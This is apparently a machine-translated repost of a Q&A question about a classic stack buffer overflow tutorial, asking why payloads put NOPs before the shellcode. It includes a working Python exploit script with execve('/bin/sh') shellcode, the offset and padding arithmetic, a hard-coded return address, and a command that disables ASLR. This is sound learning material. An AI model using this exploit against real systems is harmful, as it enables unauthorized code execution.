[英]Why is this the structure of the exploit
所以我尝试了一个教程: https : //sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/
我一直在努力找出漏洞利用代码的顺序,至少是这样。
我不知道先放NOPS,然后再放Shell代码的原因,我不知道为什么不先将shellcode放到buf中,然后再放垃圾地址和ret地址的原因。 我以为是要保存内存地址的计算,但这真的是原因吗? 仅使用已经拥有的堆栈(不是不超出返回地址)会更简单吗? 为什么不将恶意缓冲区设置为:Shellcode + Junk + ret-address(以shellcode开头)? 是因为内存地址计算有些复杂吗? 希望我能说清楚。
先感谢您。
编辑:
一个相同的示例(与我运行的代码相同):
我找到了解决问题的方法。
因此,首先可以仅在堆栈范围内利用它(这意味着我仅使用缓冲区和位于堆栈中的返回地址之间的内存,以便执行代码),并且确实可以需要一些额外的计算,但是感觉有些“干净”,可能没有区别,但仍然可以使用。
非外壳程序的问题是我没有注意到我实际上没有对“ echo 0> / proc / sys / kernel / randomize_va_space” sudo'd,并且它没有运行。
我为仅使用堆栈的漏洞利用添加了代码。 我必须找到ESP,首先放置100个NOP,然后输入代码,然后输入一些垃圾(A),最后返回地址。
我使用以下方法知道大小:我知道是否将所有内容“垃圾”到返回地址(包括返回地址),即268 + 4(272)字节。 另外,我的shellcode长25字节,而NOP长100字节。 我还必须记住,返回地址的长度为4个字节,因此总计:
我需要填充:首先使用NOP填充100个字节,然后使用shell代码填充25个字节,然后再剩下要计算的垃圾块,最后再填充4个字节的返回地址。
我可以得出结论,垃圾块需要为:272-(100 + 25 + 4)= 143字节长。 因此,我所做的是复制“ A” 143次。
地址0xbffff164源自以下事实:缓冲区所在的起始位置为0xbffff210-272,并且由于前100个字节用于NOP,因此我们加了100,最后得到0xbffff164。
这是我剩下的代码,它利用了相同的漏洞,只是没有超出返回地址的范围(不真正知道它是否重要,尽管需要更多的计算,但对我来说还是比较干净):
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
#Stack address where shellcode is copied.
ret_addr = 0xbffff210 # ESP's value when the whole stack up to the return-address is filled (Hence, this is the where the return address is supposed to be)
#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
#endianess convertion
def conv(num):
return struct.pack("<I",num)
buf = "\x90" * 100
buf += scode
buf += "A"*143
buf += conv(0xbffff164)
print "Calling vulnerable program"
call(["./vuln", buf])
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.